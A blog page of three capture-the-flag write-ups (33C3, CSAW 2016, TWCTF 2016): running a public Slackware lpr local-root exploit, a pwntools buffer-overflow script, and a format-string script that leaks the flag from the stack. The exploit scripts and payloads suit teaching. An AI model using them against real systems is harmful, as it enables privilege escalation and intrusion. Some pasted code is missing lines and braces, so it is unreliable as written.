[33C3 CTF] The 0x90s called Writeup



The 0x90s called – PWN

The 0x90s called, they want their vulns back!
Pwn this and get the flag. Who would’ve thought?
If you want to try it locally first, check this out.

This challenge was pretty simple and obvious. We are given with a website that is requesting a ‘proof of work’ from us to reduce the load on their infrastructure. We need to press start and then we get a port to which we can connect using netcat, username and password. We connect to the server and search for the flag.

Megabeets:~# nc 2323

Welcome to Linux 0.99pl12.

slack login: challenge

Linux 0.99pl12. (Posix).
No mail.
slack:~$ id
uid=405(challenge) gid=1(other)
slack:~$ ls -la / | grep flag
-r--------   1 root     root           36 Dec 27  1916 flag.txt

Look at the highlighted rows. We can see that we are in Slack Linux 0.99pl12 machine, that flag.txt is on the root folder and that only root can read it. Before trying anything special or complicated, lets search online for known exploit to this version.

90s_called_1Oh, this was easy! There’s a known exploit available on Github.

Lets run it to see if it works, and if so read the flag.

slack:~$ gcc exploit.c -o exploit
slack:~$ id
uid=405(challenge) gid=1(other)
slack:~$ ./exploit
[ Slackware linux 1.01 /usr/bin/lpr local root exploit
# id
uid=405(challenge) gid=1(other) euid=0(root) egid=18(lp)
# cat /flag.txt


It worked just fine (thanks prdelka for the exploit)! We got root permissions and were able to read the flag.

I’ll be happy to read in the comments how the challenge was for you.

[CSAW 2016] PWN: Warmup Writeup



So you want to be a pwn-er huh? Well let’s throw you an easy one 😉
nc pwn.chal.csaw.io 8000


Let’s connect to the server and play with it a little bit:

[Meabeets] /tmp/CSAW/Warmup# nc pwn.chal.csaw.io 8000
-Warm Up-

[Meabeets] /tmp/CSAW/Warmup# nc pwn.chal.csaw.io 8000
-Warm Up-

[Meabeets] /tmp/CSAW/Warmup# nc pwn.chal.csaw.io 8000
-Warm Up-

The program says “WOW:” followed by a memory address. This address is probably the address of the function we need to execute. Let’s open IDA to view the code:

int __cdecl main(int argc, const char **argv, const char **envp)
	  char s; // [sp+0h] [bp-80h]@1
	  char v5; // [sp+40h] [bp-40h]@1

	  write(1, "-Warm Up-\n", 0xAuLL);
	  write(1, "WOW:", 4uLL);
	  sprintf(&s, "%p\n", 4195853LL);
	  write(1, &s, 9uLL);
	  write(1, (const void *)'@\aU', 1uLL);
	  return gets(&v5, '>');

This is a classic BOF (Buffer Overflow) case. The main method uses the gets() function to receive the given input and returns it. gets() is storing 64 characters (40h). Because there is no validation of the given string we need to supply an input that will exploit the program and make it jump to the wanted address: 0x40060d.

A short python script will do the job:

from pwn import *

r = remote('pwn.chal.csaw.io', 8000)
print r.recv()
r.sendline("A"*72 + "\x0D\x06\x40\x00\x00\x00\x00\x00")
print r.recvline()

And we got the flag: FLAG{LET_US_BEGIN_CSAW_2016}

[TWCTF-2016: PWN] judgement Writeup


Guest post by Shak.

Challenge description:
Host : pwn1.chal.ctf.westerns.tokyo
Port : 31729

[Megabeets]$ nc pwn1.chal.ctf.westerns.tokyo 31729
Flag judgment system
Input flag >> FLAG
Wrong flag...

Let’s check the binary. The following function is reading the flag from a local file on the server, so this binary will not reveal the flag, but further examining it might.

int __cdecl load_flag(char *filename, char *s, int n)
  int result; // eax@2
  FILE *stream; // [sp+18h] [bp-10h]@1
  char *v5; // [sp+1Ch] [bp-Ch]@5

  stream = fopen(filename, "r");
  if ( stream ) {
    if ( fgets(s, n, stream) ) {
      v5 = strchr(s, 10);
      if ( v5 )
        *v5 = 0;
      result = 1;
    else { result = 0;}
  else { result = 0; }
  return result;

Next we can see the main function which gets our input and compares it to the flag.

int __cdecl main(int argc, const char **argv, const char **envp)
  void *v3; // esp@1
  int result; // eax@2
  int v5; // ecx@6
  char input; // [sp+0h] [bp-4Ch]@1
  int v7; // [sp+40h] [bp-Ch]@1
  int *v8; // [sp+48h] [bp-4h]@1

  v8 = &argc;
  v7 = *MK_FP(__GS__, 20);
  v3 = alloca(144);
  printf("Flag judgment system\nInput flag >> ");
  if ( getnline(&input, 64) ) {
    if ( !strcmp(&input, flag) )
      result = puts("\nCorrect flag!!");
      result = puts("\nWrong flag...");
  else {
    puts("Unprintable character");
    result = -1;
  v5 = *MK_FP(__GS__, 20) ^ v7;
  return result;

What it also does, is printing our input with no formatting (line 15), which means we can use printf format to read data from the stack. First of all, let’s check if this will work by trying to print the second value from the stack as a string

Flag judgment system
Input flag >> %2$s
Wrong flag…

It works, but no luck there. I wrote a simple python script that will print the first 300 values from the stack and search for the flag:


from pwn import *

for i in xrange(1,300):
        r = remote('pwn1.chal.ctf.westerns.tokyo', 31729)
                res = r.recv()
                if "TWCTF" in res:
                        print "The flag is: " + res

And indeed we get it:

[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 31729: Done
[*] Closed connection to pwn1.chal.ctf.westerns.tokyo port 31729
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 31729: Done
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 31729: Done
The flag is: TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...